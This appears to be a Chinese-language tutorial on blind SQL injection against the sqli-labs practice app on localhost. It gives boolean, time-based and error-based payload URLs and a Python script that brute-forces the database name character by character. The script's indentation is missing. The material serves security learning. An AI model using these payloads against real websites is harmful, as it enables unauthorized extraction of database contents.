SQL盲注注入——布林型
盲注是注入的一種,指的是在不知道資料庫返回值的情況下對資料中的內容進行猜測,實施SQL注入。盲注一般分為布林盲注和基於時間的盲注和報錯的盲注。本次主要講解的是基於布林的盲注。
Length()函式 返回字串的長度
Substr()擷取字串
Ascii()返回字元的ascii碼
sleep(n):將程式掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
當然如果上面的函式被禁用,也有相應的函式替換。可百度
布林型:頁面只返回True和False兩種型別頁面。利用頁面返回不同,逐個猜解資料
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
當前資料庫database()的長度大於10,返回true頁面,否則FALSE頁面
報錯型:構造payload讓資訊通過錯誤提示回顯出來,一種型別(其它的暫時不怎麼了解)是先報欄位數,再利用後臺資料庫報錯機制回顯(跟一般的報錯區別是,一般的報錯注入是爆出欄位數後,在此基礎通過正確的查詢語句,使結果回顯到頁面;後者是在爆出欄位數的基礎上使用能觸發SQL報錯機制的注入語句)
列如典型payload:
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
count(*)計數 concat()連線字元 floor()重複資料,返回0,1兩個值 group by 進行分組 rand(0)避免資料重複造成的錯誤
時間型:通過頁面沉睡時間判斷
通過 sleep()函式測試,通過if()和sleep()聯合逐個猜解資料
http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+
如果當前查詢的當前資料庫ascii(substr(database()),1,1)的第一個字元的ASCII碼大於100,ture 沉睡10秒,FALSE 沉睡4秒
布林型詳解:
測試頁面:
get一個引數 id =1,返回TRUE頁面
注入測試加單引號id=1',返回不正確頁面。
到這裡初步確定單引號存在注入,TRUE頁面有’you are in...........‘,FALSE頁面不存在’you are in ........‘
原始碼:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";驗證確實是由於單引號閉合導致注入漏洞。後臺執行結果SELECT * FROM users WHERE id='1’' 原因單引號在閉合後還存在一個單引號。會引起查詢報錯
知道為盲注布林型注入,利用上面的函式進行猜解
猜當前資料庫第一個字元:(下面程式碼還需進行編碼)
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#
利用二分法,115為fal,114TRUE,資料庫第一個字元ASCII為115,即s
同理修改substr(database(),2,1)可猜第二個字元,之後同理,當然在猜資料庫字元前也可先猜資料庫長度:length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 這條語句在後臺為:
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(後面單引號被#註釋掉)
後面的表,列,欄位猜解在上篇有介紹查詢語句
如表
http://127.0.0.1/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#
其它就不一一寫了。
接下來是自己寫的Python指令碼,爆破資料庫長度和資料庫
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)
else:
#print('false')
print('database_length:',i)
break
database_len()
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
表,欄位,改下payload就可以跑了。